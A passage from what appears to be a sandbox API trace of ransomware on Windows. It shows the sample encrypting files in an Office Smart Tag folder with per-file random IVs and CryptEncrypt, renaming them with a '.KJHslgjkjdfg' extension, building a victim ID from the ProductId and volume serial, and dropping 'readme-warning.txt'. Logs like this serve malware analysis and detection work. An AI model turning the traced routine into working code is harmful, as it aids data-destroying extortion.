lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0171.017] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0171.017] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0171.017] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0171.017] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0171.017] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0171.017] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.017] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.017] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.017] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x9869, lpOverlapped=0x0) returned 1 [0171.019] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x9870, dwBufLen=0x9870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x9870) returned 1 [0171.019] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.019] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x9870, lpOverlapped=0x0) returned 1 [0171.019] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.019] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.019] SetEndOfFile (hFile=0x118) returned 1 [0171.022] GetProcessHeap () returned 0x2ef0000 [0171.022] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.022] GetProcessHeap () returned 0x2ef0000 [0171.023] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.kjhslgjkjdfg")) returned 1 [0171.027] CloseHandle (hObject=0x118) returned 1 [0171.027] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0171.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.027] GetProcessHeap () returned 0x2ef0000 [0171.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.027] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.027] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0171.027] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x1, lpOverlapped=0x0) returned 1 [0171.030] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.030] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.030] GetProcessHeap () returned 0x2ef0000 [0171.030] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.030] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0171.030] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.030] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0171.030] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0171.030] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0171.030] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0171.031] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0171.031] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0171.031] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.031] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.031] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.032] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xa7f, lpOverlapped=0x0) returned 1 [0171.032] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa80, dwBufLen=0xa80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa80) returned 1 [0171.032] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.032] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xa80, lpOverlapped=0x0) returned 1 [0171.032] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.032] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.032] SetEndOfFile (hFile=0x118) returned 1 [0171.035] GetProcessHeap () returned 0x2ef0000 [0171.035] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.035] GetProcessHeap () returned 0x2ef0000 [0171.035] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.kjhslgjkjdfg")) returned 1 [0171.039] CloseHandle (hObject=0x118) returned 1 [0171.039] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0171.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.040] GetProcessHeap () returned 0x2ef0000 [0171.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.040] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.040] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0171.040] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0171.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.043] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.043] GetProcessHeap () returned 0x2ef0000 [0171.043] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.043] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0171.043] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.043] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0171.043] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0171.043] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0171.043] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0171.043] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0171.043] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0171.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.043] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.044] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.044] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x2174, lpOverlapped=0x0) returned 1 [0171.045] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2180, dwBufLen=0x2180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2180) returned 1 [0171.045] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.045] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x2180, lpOverlapped=0x0) returned 1 [0171.045] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.045] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.045] SetEndOfFile (hFile=0x118) returned 1 [0171.048] GetProcessHeap () returned 0x2ef0000 [0171.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.048] GetProcessHeap () returned 0x2ef0000 [0171.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.kjhslgjkjdfg")) returned 1 [0171.055] CloseHandle (hObject=0x118) returned 1 [0171.055] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0171.055] GetProcessHeap () returned 0x2ef0000 [0171.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.055] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0171.055] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.055] GetProcessHeap () returned 0x2ef0000 [0171.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.055] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0171.055] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.055] GetProcessHeap () returned 0x2ef0000 [0171.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0171.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.055] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0171.055] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.056] GetProcessHeap () returned 0x2ef0000 [0171.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.056] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0171.056] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.056] GetProcessHeap () returned 0x2ef0000 [0171.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.056] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0171.056] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.056] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0171.056] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0171.056] RegCloseKey (hKey=0x118) returned 0x0 [0171.056] GetProcessHeap () returned 0x2ef0000 [0171.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.056] GetProcessHeap () returned 0x2ef0000 [0171.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.056] GetProcessHeap () returned 0x2ef0000 [0171.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0171.057] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0171.057] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.057] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.057] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.057] GetProcessHeap () returned 0x2ef0000 [0171.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.057] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.057] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.057] GetProcessHeap () returned 0x2ef0000 [0171.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0171.057] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt") returned 86 [0171.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.059] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0171.060] CloseHandle (hObject=0x118) returned 1 [0171.060] GetProcessHeap () returned 0x2ef0000 [0171.060] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0171.060] GetProcessHeap () returned 0x2ef0000 [0171.060] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0171.060] GetProcessHeap () returned 0x2ef0000 [0171.060] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.060] GetProcessHeap () returned 0x2ef0000 [0171.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.061] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0171.061] GetProcessHeap () returned 0x2ef0000 [0171.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.061] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0171.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.062] GetProcessHeap () returned 0x2ef0000 [0171.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.062] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.062] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, 